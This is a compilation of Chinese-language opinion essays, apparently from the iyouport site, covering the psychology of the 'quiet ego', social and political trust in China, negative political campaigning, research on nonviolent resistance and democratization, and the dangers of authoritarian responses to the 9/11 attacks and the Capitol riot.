因此，成长式思维和观点采择能力形成了很好的互补关系。此外，对疏离意识来说，成长式思维也同样是一个很好的补充 —— 这两种特质都强调关注动态过程，而不是最终的结果。

以上这4种特质相辅相成，无法被孤立看待，相反应该把它们当做一个自我功能完整体系的一部分来看。

现在您也许想知道自己是否拥有一个安静的自我？

下面列出的14条内容可以帮助您得出一个大致结果。

如果你发现自己对其中的大部分问题都可以强烈赞同，那么您就很可

能拥有一个安静自我。反之亦然。

"//Quiet Ego Scale (QES)//"

1、做事时总是能保持专注。

2、不会机械性地完成工作或任务，很清楚自己所做的事的意义。

3、在真正了解某些活动的本质之前不会去仓促完成。

4、觉得和所有生物之间都有某种联系。

5、觉得和陌生人之间也有某种联系。

6、觉得和不同种族的人之间也有某种联系。

7、在批评别人之前，会换位思考别人的感受。

8、当自己对别人不满时，通常会站在对方的立场上思考一会。

9、在作出决定前努力听取所有人的反对意见。

10、觉得站在他人的视角上看待问题并不是什么难事。

11、对我来说，生活就是一个不断学习、改变并且成长的过程。

12、认为能够体验挑战自己对自身看法及世界观的新经历是一件重要的事。

13、感觉随着时间的推移自己已经进步了许多。

14、仔细想想这么多年来，自己作为一个人，真的已经进步了许多。

能在上述测试中得分较高的人，通常都对个人成长、个人平衡更感兴趣，并且更有可能在真实、可控、积极的社会关系中取得成长。

安静的自我不仅和健康的自尊、恢复能力、以及面对生活压力时健康的应对策略有着正向关系，并且，它还和博爱的态度和行为紧密相关。

安静自我能在同理心与自我保护以及成长目标之间取得平衡，这也与上述那些特点协调一致。

实际上，表明某人正在成长的积极信号便是他的内心正在趋于安静。

安静的自我还和以下几点有关：谦逊、精神成熟、变通思维、开放思维、享受日常体验的能力、生活满意度、风险承担能力以及对生活有意义的感触。

很明显，安静的自我有助于您过上真正完整的生活。

在我自己的研究中发现，“自我牺牲式自我提升” 测试的得分与安静的自我之间没有任何关系。“自我牺牲式的自我提升” 实际上是自恋的一种表现，它通常由以下几点体现：

- 为他人作出牺牲，能够让我成为一个更好的“人”。
- 我想借自我牺牲的方式，证明自己是个“好人”。
- 我喜欢和那些依赖我的人交朋友，因为这让我感觉自己很重要。
- 当别人依赖于我时，我会觉得自己很重要。

这表明，让自我安静下来并不是任何形式的 “为他人担心”（比如自我驱动的想要让自己看起来富有同情心的需要）。与安静自我联系在一起的，其实是对自身和他人成长及发展的真诚思虑。

证据就是，量化表现时，安静自我与同情心、同理心的程度呈正相关，而这些又与自我牺牲式的自我提升程度呈负相关。

与此前研究结果一致的是，在安静的自我与自我同情之间同样发现了正相关关系。这似乎就是告诉我们，那些拥有安静自我的人乐于 “爱人”、“助人”，但他们也同样在乎自己。

最近还有另一项研究由 Heidi Wayment 和 Jack Bauer 完成的，其结果进一步表明，安静的自我真的会平衡自身与他人的需要。

他们发现，拥有安静自我的人通常都会有一些超越自身利益的价值观 —— 比如普世主义以及仁慈善行 —— 同时，还会有自我导向和自我成就的特质。

这项研究同样表明，安静的自我与从众心理无关。

所有这些研究的结果都在强调：安静自我建设的核心是成长与平衡自我与他人的价值，并且还明确表明，让自我归于宁静并不意味着要压抑自身。实际上，我想要用下面这个等式来表达这一结论：

自我越安静＝自身最好的一面就会越强大

社会应该意识到（并且付诸实践），为自身思虑和为他人思虑并非不可兼得，个人也不再必须选择其一。实际上，有目的地去在这两者之间努力保持良性平衡对健康、成长、幸福、高效工作、创造力都大有助益，而这最终就会让你抵达真理的彼岸。

想象一下，如果在学校里除了学习数学、阅读及性教育之外，还学习了如何培养安静自我的四大特质，那将会如何？再想象一下，如果在那些会引起公众激烈讨论的潜在问题爆发之前，社会的基本法则中已经包含了那四大特质（哪怕只是试图让民众践行），又会如何？

更理想的状况是，如果这些公众讨论的目的能够发生转变，不再只是关注“谁赢了？”，而是每个参与其中的人都能在讨论结束后总结自己从他人那里学到了什么，那又是怎样的景况？

那样的话真的比只讨论“谁赢了”更加无聊吗？

如果真是这样，那我认为这个社会的问题可能要比我想象的严重得多了。

我觉得在全社会中倡导这些安静自我的特质，可以增进人们的心理健康、有益于增进真实信息的传播、并且促进人与人之间的和平与团结。在我看来，这一点也没有夸大其词。

如果我们不是互相摧毁，而是如何互相学习呢？这个世界会是什么样？〇

The Pressing Need for Everyone to Quiet Their Egos

原文

为什么我们互不信任？ - iyouport

为什么关于中国社会社会反抗和思考社会运动和公民社会

【2018年3月11日存档】这个社会陷在各种恶性循环里。如果不能尽快从某方面找到出口，其结果就是更加快速地不断的下沉，越来越难以找到出口。

一个观点的纠纷再次将这一普遍在中国被回避的问题拉了出来：为什么我们互不信任？

我一直认为，我们不应该也没必要过于强调一个人的观点、认知，长久以来的失败足够证明我们对此强调得太多了。这就是为什么我连续发表了两篇专门分析这一问题的文章：

- 《为什么中国社会难以组织起来》
- 《他们为什么如此猖狂？因为你们互不信任》

日前和一位中国记者交流后深感这个问题的影响已经非常深远。

众所周知，互联网是以其广泛的连接力量为最大优势的存在，然而一直以来，中国人都没能充分利用互联网这一优势。

营救 Julian 的全球运动中最令人印象深刻的就是基于包容的联合性的极大程度发挥。线上七个国家、线下四个国家，横跨二十多个城市的集体行动，涉及至少四个不同语种，没有任何人被怀疑参与动机，没有任何不同政治立场和觉悟差异被鄙视或排除。凝聚力之高在我看来是惊人的。所有人都在发挥自己的特长以协助共同的目的。

而众所周知此案的敏感性之高，情报机构长期定位监控、抓捕和骚扰支持者志愿者。所有人都知道这些这些事，但没有人害怕，没有人担心运动“被渗透”，然而中国，一个国家内，同样的语种、文化，同样的生活环境，却几十年来做不到这点，这究竟是为什么？

和我交流的那位中国记者告诉我，他不敢在 Twitter 上回复任何人，因为他相信中文里看起来很激进的、振奋人心的内容中“很多属于五

毛在钓鱼”。虽然也有真正的所谓民主派，但也因此不敢去互动。

这就是为什么虽然我们都在互联网上，却很难找到可转化的强连接关系。

我告诉他，这需要权衡究竟是联合的利益大，还是被渗透的危险性高。很明显是前者。推特上钓鱼能钓到什么呢，你应该知道什么可以公开讲什么不可以，使用 Tor 登陆，即便是钓鱼也伤害不到你，顶多是污染舆论环境。

Julian 的支持者们就是这样的想法。无所谓政治立场、党派、认知、年龄、阶层、性别、体制内外，只要来到这扇门前，不论从那条路上来的，都可以拉过来成为推开门的力量。

在观点如此极化的当下，这种包容的力量之大可以说前所未有，并且具有非常的感染力。

这就是为什么我们将双语的动员令发到了中国网络上。非常希望有华裔能亲身体验一下。是时候思考这个问题了。

有人告诉我，在中国，不信任就存在于某种文化传统中。真的是这样吗？

BR 刚来中国时，和一位此前一直线上交流的朋友约在咖啡馆见面。那是他们第一次面对面交流。其间 BR 要去洗手间，把他的背包留在了位子上，顺便告诉那位朋友说”帮我看一下哈”。

等 BR 回来后那位朋友表示出很惊讶的样子，”为什么你会信任我？”这的确是个有趣的问题。他告诉 BR，在中国没人会这样做—信任一个初次见面的人不会偷东西。

几乎每个外国人都有类似体验，在中国，信任是个非常微妙的事。

那么究竟什么是信任？几十年来，政治学家和经济学家一直在思考这个问题，他们创造的诸多文献是复杂的，丰富的，也是深刻的。研究人员不仅定义了不同类型的信任，还开发了在调查和实验中测量它的方法，并构建模型来解释如何创建和维护这种信任。

回顾研究表明，有制度因素可以建立对社会和政府的信任。这对一些民主指数滑坡的国家来说是好消息，因为这意味着尽管人们普遍知道对社会和政府的信任正在下降，但仍可以存有乐观的空间。

研究人员已经确定了两个相关但不同的信任概念：社会信任和政治信任。

一般情况下人们讲的更多是前者。但后者与前者密切相关。

你需要分享陌生人的意识形态来信任他们吗？幸运的是，并不需要

社会信任也称为普遍信任，是对陌生人的信任。在我看来，社会信任就是相信人们会遵守社会规范—公众认可的，共同的社会规则，人们都期望彼此遵循，并且认为每个人都应遵循的道德规范。

你经常会需要希望一个人能在红灯前停下来，或者别偷你的手机，而不需要知道此人是自由派还是保守派。但我们通常也希望社会信任能够以正确的理由得到维持。然而没有“信任激素”这种东西。

中国政府一直在致力于创造这种“激素”，也就是社会规则，他们将所谓的 “社会主义核心价值观” 贴遍了大街小巷，甚至公共厕所里。但这并没有什么用。

一个可确立的规则不会是由政府编写的、强制施加给社会的，而是大众在长期交往中通过磨合和理解，酝酿出来的共识。它是文化的一部分。因为人们都知道如何才能令生活更加轻松。政府的施加只能起到相反效果。

政治信任有点不同

政治信任可以被理解为包括对民主政府的宽泛的信任或对民主体制的信任，以及对更具体的机构和团体的信任，例如公务员、议会和特定的民选官员。

与社会信任不同，政治信任不是一种纯粹的好。因为民主政治就取决于对政府官员和政党的某种程度的政治不信任，也就是监督的动力。

但是，如果区分政治上的政治信任和对政党和民选官员的民主和政治信任，就可以提供更细致的分析，根据这一点，对民主和政府的广泛信任是好的，但是对某些官员和政党的某种程度的不信任必然是可取的。

最理想的结果是，人们成为一般的政治信任者和特定的政治怀疑论者。

社会多样性的增加与社会信任的下降无关

尽管人们普遍认为相反，但社会的种族多样性程度与其享有的社会信任程度之间至多存在很小的负相关关系。你想到什么？移民、“外地人”论、伊斯兰恐惧症 … 是的，研究足以证明这些不会明显影响社会信任。

虽然种族多样性可以对信任产生消极影响，但这通常是由于缺乏联系和地方隔离造成的。当不同类型的人发生的互动越多时，他们之间的信任程度也就越高。

关键是要创建这种互动。互联网是个好机会，就如你知道的那样。

经济不平等与缺乏社会信任密切相关

一些研究已经令人信服地指出，社会信任度较高的社会往往会更倾向于支持财富重新分配的政策，因为他们认为这种政策是公平的，而不是浪费或作为对懒惰的奖励。反过来，这种再分配也减少了经济不平等。

当人们觉得他们在经济上做得很好时，就会有更高的政治信任，而不是社会信任。

我们在《中国人为什么组织不起来》这篇文章中谈到了阶层差异问题，根源就是上述。这是另一个恶性循环。

相反，社会信任与经济增长之间的相关性可能是由于，高水平的社会信任使得人们因交易成本降低而参与了更多的交换。

更直观的是，政府腐败导致不信任

有很多证据清楚地表明，社会信任程度较高，法律制度腐败程度较低，反之亦反之。而且与其他可靠遵守法治的指标也再次存在密切联系。

尊重平等权利的一般精神似乎可以维持社会和政治信任。即使人们怀疑其他人的道德动机，公众对执行法律和宪法权利的承诺也有助于人们相信该系统是值得信任的。

反过来，又回到了反馈循环中，加强了产生信任的经济和政治制度。

所有这些都指明了为什么信任的差异往往被理解为文化差异，以及为什么中国社会很难被理解。

如果想要维持不同社会的社会合作并获得好处，就需要一些政策和机构，这些政策和机构一般对民主政府保持高度的社会和政治信任，同时允许特定政治家获得适度的政治信任。

这就是诸多权利组织和联合国所做的工作。

如上述可见：

- 可以通过保护自由权利来实现这一目标，例如结社自由和免于歧视和隔离的自由；
- 可以通过保护民主来做到这一点，这有助于减少腐败，提高经济和体制运作的广泛性。
- 可以通过保护法治来减少腐败并提高经济表现。
- 还必须利用市场和社会保险来确保经济对每个人都有利，并保护大多数人免受危险，信任破坏的经济和社会风险。

如果以上条件全没有，信任是无法实现的。没有信任就没有联合，不能联合就不能变革，没有变革就实现不了上述那些条件。这就是中国社会一直在经历的恶性循环。〇

原文

为什么政治将人们分裂 - iyouport

为什么社会反抗和思考社会运动和公民社会

【 2019年3月6日 】市场营销通过夸人赚钱，政治营销通过损人盈利。 为什么同是营销却南辕北辙？ 从经济学角度分析现代政治是如何致力于欺诈以撕裂社会的

市场营销通过夸人赚钱，政治营销通过损人盈利。为什么同是营销却南辕北辙？从经济学角度分析现代政治是如何致力于欺诈以撕裂社会的。

这是因为要想把东西卖给您就需要您投赞成票才能实现。如果只是让潜在客户相信不应该购买竞争对手的同类产品是无法实现您的销售的。

这是因为顾客可以从多个卖家中进行选择，或者他可以选择根本不买。但是，在只有两个主要政党的选举中，“客户”根本没有这些选项，“客户”实际上是在被迫从其中一方“购买”。

在一个基本上是两党竞争选举的情况下，意味着你只要说明对手有多烂，就能赢得这场比赛。

同样地，如果你能让一个致力于拥护竞争对手的选民改变主意变成支持你，这就能值得两票，因为它会在你的投票栏中加一，并同时从你的竞争对手那边减一。此外，如果你能找到一种方法让一个本来会投票给你的竞争对手的人不去投票，其结果就能像让一个选民投票给你一样有价值。

这就是为什么在政治上可以接受让选民完全脱离政治参与的消极运动，只要候选人认为他可以让更多的支持竞争对手的选民远离民意调查，而不是他自己的选民，就够了；在私营部门，绝不会采取这种做法，因为它会减少而不是增加销售。

因此，尽管政治竞争中不断要求“改变基调”，但政治竞争远比市场竞争更为负面，主要是因为负面攻击在政治上有更大的回报（参见反对

派研究的增长）。相反，由于选民对私营部门客户的销售信息知之甚少，因此激励措施愈演愈烈。

人们只有获得充分的信息才能做出决策，因为他们期望从更好的选择中获得的额外收益超过获得制作信息所需的额外成本。这种好处在市场决策中很重要，因为您的选择会直接改变您的结果。

为什么对候选人和政策无知是有道理的？

因为，在政治舞台上，你的投票只是其中之一，只给你一分钟的机会影响结果，并且几乎没有给你带来一张更好的选票（一个更好的商品）；并且，获取公共部门决策信息所需的成本往往要高得多，因为需要的信息要多于仅仅知道选择将如何直接影响您的信息。

获取信息的成本过高，收益过低，导致大多数选民获得的政治决策信息要明显少于其获得的市场决策信息，尤其是关键的摇摆选民，他们往往是选民中信息量最少的人。

这就进一步提高了对负面竞选宣传的回报，特别是使用具有误导性的“半真相”的积极性—— 候选人肯定会致力于让对手“看起来更糟“，远超过努力“让自己看起来更好“。那些用于宣传的信息被高度简单化了，但现实很复杂，因此更容易“卖”给注意力有限的选民—— 尤其是以互联网为几乎全部信息来源的选民，互联网本身的信息消防栓效应已经严重削弱了人们的注意力。

任何公共政策都会产生很多影响，其中一些会产生不利的影响，而这些影响很容易被拆分并打包分配给无知的选民。政治也涉及妥协，并且脱离背景，任何妥协都可以为候选人放弃原则的攻击提供素材。根据加州萨克拉门托政治与媒体研究所主任芭芭拉·奥康纳的说法，结果就是，“脱离背景或误导性的事实被广泛使用，包括那些会推翻你正在形成的观点的信息”。

随着今年选举竞争的加剧，我们将看到政客在发动自己的负面攻击的同时谴责对手的负面攻击。这种不一致令人厌恶。

但是，负面攻击就存在于现代政治的激励结构中，就如审查监视就内嵌在这个互联网里。因此，尽管持续请求诚实和文明，但只要政府继续扩大对人民生活的控制，增加控制政治进程的回报，它就无疑会变得更糟。

事实上，解决这个问题的唯一方案是减少政府作用于我们生活的权力

和范围，将这种控制权归还给人民，让人民自己做出自己想要的安排。然而，肯定的是，这种解决方案不会来自那些忙于滥用半真相成为政府或仍然是政府一部分的人。

Why Politics Divides People? As electoral competition heats up this year, we will see politicians decrying opponents' negative attacks at the same time they are launching their own negative attacks. That inconsistency will madden many of us.

原文

为什么有些抵抗运动无法带来积极的结果，又该如何改变？ - iyouport

社会反抗和思考社会运动和公民社会

【2020年8月21日存档】暴力抵抗和非暴力抵抗都可能带来变革，但是，有些抵抗运动的结果无法过渡到民主政治；相反，它会带来可怕的内战和更多暴力。为什么运动会失败？如何改变才能获得想要的美好生活？……

2017年出版的两本书《Social Movements and Civil War》和《Civil Resistance in the Arab Spring: Triumphs and Disasters》考察了“阿拉伯之春”的余波，得出的结论是，如果抵抗运动不成熟，可能导致暴力上升、威权主义和民主化失败。

正如其编辑 Adam Roberts 所说：

公民抵抗运动可能在更大的悲剧中发挥作用 —— 如果它在没有提供有效继承的情况下取代现有政权，则可能导致权力真空和无人管理的空间，从而造成灾难性的后果。它甚至可以导致战争的开端 —— 叙利亚就是一个特别令人担忧的典型例子。

然而，现有的关于公民抵抗运动的短期和长期影响的研究基于一个多世纪的大量代表性案例，提出了不同的重点。

尽管认识到内战可能发生在公民抵抗运动之后，但定量研究指出，非暴力运动通常是民主化的积极力量，可以帮助建立较少暴力的政治秩序这一事实。

至少有八本已发表的著作强调了抵抗运动取得积极成果的重大可能性。

公民抵抗与民主

「图」

1、Karatnycky 和 Ackerman（2005）进行的一项研究使用了来自 Freedom House 组织的数据，并分析了1972年至2005年之间的67个政治过渡。他们发现，非暴力抵抗推动的过渡是：

- 成功实现民主化的可能性是掌权者推动的自上而下的政治过渡的四倍以上；
- 巩固民主成果的可能性是经历过一些反对派暴力的政治过渡的三倍以上。

此外，以公民抵抗为主导的过渡表现出自由得分的最高增长，因此，即使在一个国家在政治过渡后没有完全民主化的情况下，平均而言，与其他类型的过渡相比，非暴力公民抵抗还是获得民主收益增加最多的主要原因。

2、Chenoweth 和 Stephan（2011）分析了1900年至2006年之间323次暴力和非暴力运动的数据，结果表明：

- 在一次成功的运动结束后的五年内，对于取得民主结果的可能性，非暴力的运动 (57%) 几乎是暴力抵抗运动(6%)的十倍。
- 即使在非暴力抵抗运动未能实现其既定目标的情况下，五年后，一个国家仍然有35%的机会实现民主结果。这表明，即使某运动未能实现其近期目标，其抵抗运动固有的动力也可能有助于民主化。相比之下，暴力抵抗运动失败后只有4%的机会获得这种结果。

3、研究人员 Celestino 和 Gleditsch（2013）使用了由 Chenoweth 和 Stephan 创建的非暴力和暴力运动与结果数据集（NAVCO），研究了非暴力运动对独裁制到民主制过渡的影响，并得出结论，“非暴力抗议运动大大增加了过渡到民主的可能性。”

他们还发现，“暴力直接行动在破坏独裁统治的整体方面效果不佳，而向新独裁政权过渡的可能性更大。”

4、Bayer、Bethke 和 Lambach（2016）的研究证明，当非暴力抵抗是政治过渡的主要推动力时，民主制度在冲突后的稳定和持久性将大大提高。

在暴力抵抗运动导致政治过渡的国家，冲突后的民主政府的平均成活率为五年。相比之下，经历了过渡而根本没有基层抵抗的政府的平均成活率为九年。

但是，由非暴力抵抗运动引导的民主政府的存活率为：**47**年。

换句话说，如果政治变革是由非暴力运动推动的话，民主的生存时间会更长，民主倒退的机会将大大减少。

5、Bethke 和 Pinckney（2016）的研究利用1945年至2010年间101个政权的样本，并采用精密的方法来隔离导致民主化的其他因素，他们发现，民主的质量（主要在言论自由领域）得到了显著改善。相对于没有非暴力抵抗的情况，只有通过非暴力抵抗激发的变革才能有这样的结果。

6、Pinckney（2014）在一篇硕士论文中的研究显示，由非暴力运动推动的政治过渡机制（例如谈判和选举）导致未来的民主率比诸如政变或外部军事干预等暴力过渡机制高出一倍。

公民抵抗与经济和社会发展

「图」

7、Johnstad（2010）的一项研究从自由之家的数据中得出，发现在随后的过渡时期，非暴力抵抗运动的国家比自上而下由当权者主导的政治过渡时期，更有可能实现更高的经济增长。

8、为了进一步了解社会经济影响， Stoddard（2013）的研究专注于预期寿命，作为该国总体健康和生活状况的指标，在成功的非暴力运动和暴力运动结束五到十年后。

她发现，所有受影响的国家的预期寿命都在最初出现了下降，但是，在十年之内，通过非暴力反抗而上台的政府能够做出积极的改变，帮助其人口赶上甚至超过了世界平均寿命预期。

这八项研究的结果证实，总体而言，公民抵抗运动推动了民主化。

大量的历史案例给这方面带来了希望的有力证据，也包含关于公民抵抗运动潜在的“大规模沦为政治暴力的风险”的有力说法，需要根据大量案例中的其余数据所显示的内容来考虑(Della Porta, 2017)。对于阿拉伯之春运动的有限例子，也应谨慎对待。

同时，公民抗动运动的确带有风险（例如1979年的伊朗非暴力革命）。

实际上，Chenoweth 和 Stephan（2011）发现，运动结束后的十年

内，非暴力运动导致内战的可能性为28%。尽管可能性仍很大，但是这种可能性明显低于暴力叛乱后发生内战的机会。

这些新研究的关键线索可能在于，公民抵抗运动期间各运动进行的内部纪律、计划和战略制定以及体制建设，如何能够进一步增加其以后成功进行民主过渡的机会，同时最大程度地降低未来引发内战的可能性。

☞ 于是问题在于：从长远来看，如何改变运动方式以增加产生积极和平变化的可能性。

为什么有些运动无法带来积极的结果，又该如何改变？

「图」

在某些情况下，非暴力运动成功地结束了现任独裁者的统治，⚠ 但无法巩固收益，反而使局势恶化。

可以在三种类型的运动中观察到这种影响：

1、邪恶运动，或受到邪恶变革推动者严重影响的运动。

这种运动至少在起步阶段是非暴力的 —— 由于其表面上是和平的行动。

但是，它们的基本议程和目标是基于和促进不容忍、歧视和暴力。

例如，德国佩吉达（Pegida）的反难民抗议运动；美国的右翼运动；Ayatollah Khomenei 作为1979年伊朗非暴力革命的象征领袖；或1934年纳粹对犹太商店和企业的非暴力抵制。

2、胜利后没有足够能力维持积极变化的良性运动。

例如，2004年乌克兰的橙色革命迫使库奇马政权接受重新举行总统选举。选举反过来确保了反对派候选人的胜利 —— 结果只是革命后的乌克兰的改革停滞不前，威权主义随之而来，大规模的政治腐败很快又重新出现。

在2011年的一次民众起义中，埃及人确立了透明、团结、民主和平等的原则和规范，这些大原则指导着他们占领塔里尔广场长达11天。但是，他们未能确保自己的理想也能在整个埃及的工作场所、大学、公共机构、和农村社区中存活和塑造现实。

3、战略上有缺陷的运动

这些运动带有崇高和进步的思想，但实现它们的战略手段却与积极目标的本质相矛盾。

至少可以识别出两类这种情况的运动：

▸ 与反民主人士勾结的运动

一个典型的例子是埃及的 Tamarod，他们收集了超过2000万个签名，以支持穆尔西总统的免职，并在2013年6月引发了大规模的反政府抗议活动。

该运动在战略上与埃及军队保持一致，并支持了导致穆尔西垮台的2013年政变。

然而，此后的当年8月，穆斯林兄弟会支持者遭到屠杀，埃及的专制政权最终得以重建。

▸ 使用暴力（甚至只是小规模暴力）来挑战压迫的运动

总部位于美国的反法西斯运动，愿意对极右翼活动分子采取暴力行动，并以制止法西斯主义的崇高理由为其辩解，尽管它也承认种族主义和暴力极端主义的最终失败需要来自政治群众的动员和参与。

由于这些缺陷考虑了运动本身的实际特性，因此，如果运动的内部工作方式发生了变化，它们的轨迹实际上就很可能会发生变化。

换句话说，活动家具有一定程度的代理权并能控制这些变化。

☞那么，活动家需要注意哪些因素，以增加内在抵抗力长期产生积极变化的可能性，以及如何做到？

分析认为，有关运动的两个方面在起作用：

1、尊重人权

✌ 将运动的行为建立在尊重普遍人权的基础上，可以帮助运动坚持非暴力纪律，并在斗争中和斗争后预防或减少暴力。

Elizabeth A. Wilson 在她最近出版的著作《People Power Movements and International Human Rights》中将其称为 “人权精

神”。她确定了非暴力运动可以用来衡量其人权精神的四项原则：

- 不歧视，体现为对他人的平等对待
- 不压迫，其目标是促进所有人的政治权利和政治自治
- 不剥削，表现为与受迫害者团结一致，提供互助，并接触社会各个阶层，以建立共同的理解和信任
- 非暴力策略，体现为不威胁或不伤害他人的行为。

2、建设性抵抗的长期策略

👌 为了维持自己的利益并增强执行持久积极变革的能力，各运动都必须秉持长期建设性抵抗的战略，以尽可能压制破坏性战略。

即：以建立网络和联盟为基础，并建立替代和并行的流程，实践，规范和机构。

👉 运动可以通过建立自力更生、自我组织和自治的抵制来增强其维持胜利的能力，并在该现实成为国家实践的新规范之前就构建一个新的积极的社会和政治现实。

民间的基层机构为遵循更可行和更民主的过渡奠定了基础。

👉 他们包括地下自由新闻和未经审查的通讯网络，替代性的学校和教育系统，经济合作社，以及平行的文化机构，这些都是在抵抗压迫期间建立的。

这种建设性的抵抗也有助于在过渡之前建立积极的社会资本。

在公民反抗精神的支持下，为有需要的人和受压迫者提供各种服务的密集协作网络，有利于发展真正的公共服务和公共问责文化。还可以帮助减少随后的过渡期间的腐败。

反抗是一项系统工作，它需要丰富的知识、技能、毅力和精神、组织协作能力和不断学习的意识。我们要的是民主的世界，给我们自己和后代带来更美好的生活，它是为终极目标，它应该指导我们的一切行动策略。

这就是为什么IYP要支持直接行动，而非诉求。

希望这篇文章能有所帮助。〇

原文

从冷战到反恐战争：专制“解决方案”带来的危害往往大于其表面上旨在应对的威胁 - iyouport

审查和自我审查-民主的支柱是如何歪掉的社会运动和公民社会

【 2021年4月22日存档】非此即彼是 matrix 最常用的圈套之一

【按】这是一个很好的思考，以2021“开篇”的国会暴动为例，提醒警惕当权者借助公众的义愤和恐惧来采取更多专制手段以为自己聚拢权力的危险。

“国内反恐战争”是拜登时代的第一个特征，“反恐”这一概念也是全球很多国家借以镇压异议和虐待少数族裔的幌子 —— 包括中国。我们曾经从我们的反监视角度分析过这个问题，见《监视之恶（四）“反恐”歧途》。

希望有更多国家的反抗者能像美国反抗者这样思考，警惕企业媒体对公众情绪的操纵，不要给当权者以可乘之机。

在9/11袭击发生后的几天和几周内，美国人对自己国家所遭受的一切感到恐惧，并愿意支持作为“回应”的政府镇压和暴力，这一点基本上是一致的。

因此，几乎没有任何余地对美国反应可能的过度或危险提出担忧，更不用说对政治领导人以复仇和“安全”的名义提出的建议表示质疑了。来自屠杀的心理创伤和国家最珍贵的象征物的残骸淹没了理性的能力，从而使任何试图敦促克制或谨慎的努力都是徒劳的。

尽管如此，少数人还是尝试了。不出所料，异议受到了普遍的蔑视，有时甚至更糟糕。

9月14日，当时曼哈顿市中心的尸体仍被埋在燃烧的瓦砾下，众议员 Barbara Lee 投出了唯一的一票，反对“授权使用军事力

量”（AUMF）。“我们中的一些人必须敦促政府克制”，她在袭击发生七十二小时后说，并补充道，“我们的国家正处于哀悼状态”，因此“我们中的一些人必须指出这点：让我们退后一步，停顿一下，思考一下我们今天的行动的影响，以避免事态失控”。

仅仅因为敦促谨慎和投了反对战争的“反对”票，Lee 的国会办公室就受到了大量的暴力威胁。武装保安人员被部署保护她，主要是由于企业媒体的攻击，暗示她反美和同情恐怖分子。

然而，二十年后 —— 美国军队仍在阿富汗作战，根据同样的 AUMF，伊拉克被摧毁，ISIS被催生，美国的公民自由和隐私权永久性瘫痪 —— **Lee** 当年的孤独告诫看起来更像是勇气、先见之明和智慧，并不是煽动叛乱或希望淡化基地组织的威胁。

其他人也提出了类似的问题，并发出了类似的警告。在左翼，像苏珊·桑塔格（Susan Sontag）和诺姆·乔姆斯基（Noam Chomsky）这样的人，以及在右翼，像罗恩·保罗（Ron Paul）和帕特·布坎南（Pat Buchanan）这样的人 —— 以不同的方式和在不同的时间—— 都在敦促美国的政治家和广大公民不要在国内掀起攻击公民自由、外国入侵和无休止战争姿态的狂欢。他们警告说，这样的循环一旦开始，将很难控制，更难扭转，几乎可以保证只会引发更大的暴力。

这些少数对即时共识持不同意见的人，就像 Lee 议员那样，遭受了广泛的诋毁。桑塔格和乔姆斯基都被打上了“反美第五专栏作家”的烙印，而大卫·弗鲁姆（David Frum）则在《国民评论》上撰文，谴责布坎南和其他质疑反恐战争过激行为的右翼是“不爱国的保守派”：弗鲁姆这位新保守主义者宣称，他们与“诺姆-乔姆斯基、泰德·拉尔、戈尔·维达尔、亚历山大·考克布恩和其他极左的反美分子”没有什么不同。

【注：乔姆斯基在中国很著名的，就不介绍了；此外，

- 特德·拉尔 (Ted Rall) ，美国专栏作家，辛迪加编辑漫画家和作家。他的政治漫画通常以多面板漫画形式出现，并经常将漫画和社论漫画的惯例融为一体。过去这些卡通片出现在美国大约100份报纸上。他于2008年至2009年担任美国编辑漫画家协会主席；
- 戈尔·维达尔 (Gore Vidal) 已故的美国小说家，剧作家，和散文家。出身于显赫的政治家庭，戈尔是美国政治的犀利评论者；
- 亚历山大·克劳德·科克本（Alexander Claud Cockburn）爱尔兰裔美国政治新闻记者和作家。科克本和英国父母在爱尔兰长

大，自1972年以来一直在美国生活和工作。他与杰弗里·圣克莱尔（Jeffrey St. Clair）一起编辑了政治通讯《CounterPunch》】

David Frum, National Review, Mar. 25, 2003

回过头来看，很难否认那些蔑视或至少质疑2001年强烈的情感共识、敦促以审议代替反动的愤怒的人，这在随后的事件中得到了证明：阿富汗战争在20年中扩大到多个国家，颁布了臭名昭著的《爱国者法案》，秘密实施大规模监视系统，将数万亿美元的纳税人财富转移到武器制造商手中，以及国内加强维稳的准军事化。

至少，基本的理性要求承认，当政治激情和愤怒驱使的情绪得到最强烈的表达时，要求反思和谨慎的呼吁即使最终被拒绝，也是有价值的。

今年初，支持特朗普的暴徒入侵国会大厦，无疑引起了强烈的政治热情和普遍的愤怒。不难理解原因：在政治抗议中引入武力总是令人惋惜的，通常是危险的，而且，除非在最罕见的情况下，否则是没有道理的（此处肯定不适用）。可以预见的是，这种行动会造成死亡。最令人惊讶的结果是，“只有”4人死亡：一名手无寸铁的妇女，一名特朗普支持者、空军退伍军人，被执法人员射中颈部，另外3名抗议者死于不明原因的“医疗急症”（据报道，其中一人死于意外电击，诱发心脏病）。

即使对于那些对统治阶级和政治制度愤世嫉俗的美国人来说，美国国会大厦仍然是一个有力而珍贵的象征，它的崇高是自童年起就不断深植于我们集体心理的东西。因此，我们不难理解，为什么看着一伙掠夺式的流氓入侵和玷污参众两院，除了发泄不满之外，没有任何明显的目的，就会反射性地引起整个政治光谱的爱国主义厌恶。

将国际大厦入侵事件与9/11袭击事件相提并论，或 (正如查克·舒默参议员所做的那样) 将其与珍珠港事件相提并论，都是不正常的和错误的。从任何标准来看，这两个事件的规模和破坏性都在完全不同的宇宙里。但是，这并不意味着不能从这些先前的袭击中吸取适用的教训。

其中之一是，打击珍贵的国家象征—— 世贸中心、五角大楼、国会大厦 —— 确保愤怒和恐怖远远超过尸体数量或其他具体伤害。有很多比国会暴动事件致命得多的事件，如2017年造成59人死亡的拉斯维加斯大规模枪击事件、或2016年造成49人死亡的奥兰多夜总会枪

击事件，受到更多关注和评论，并可能产生更大的后果。与即使是可怕的无差别枪击案不同，对国家权力象征的攻击会被认为是对国家甚至社会本身的攻击。

不仅仅是911袭击事件，还有其他更重要的历史教训，不仅是美国本土的恐怖主义，任何一种恐怖主义都是如此。其中之一是必须抵制强制性的二元框架，这种框架要求每个人必须在两个极端中选择一个：要么是 **(a)** 无关紧要，甚至是可以原谅的，要么是 **(b)** 一个震撼人心的、根本性的变革事件，需要国家做出根本性的、变革性的 “反应”。

这种二元框架是反智的和危险的。人们可以谴责某一特定行为，同时抵制夸大其危险的企图；人们可以承认威胁的真实存在，同时也可以警告所提出的解决方案的危害 —— 指出专制化解决方案的危害往往要大得多；人们可以拒绝关于攻击（文明战争、未遂政变、叛乱、煽动）的最大限度的、煽动性的言论，而不会被指责为对攻击者的冷漠或同情。

事实上，我从事新闻工作的前十年，主要关注的是美国的反恐战争——尤其是以发动战争为名，对公民自由的无情侵蚀和整个社会的无休止军事化。为了说明应该反对这些趋势，我经常争辩说，伊斯兰激进主义对美国公民构成的威胁被故意夸大和戏剧化了。

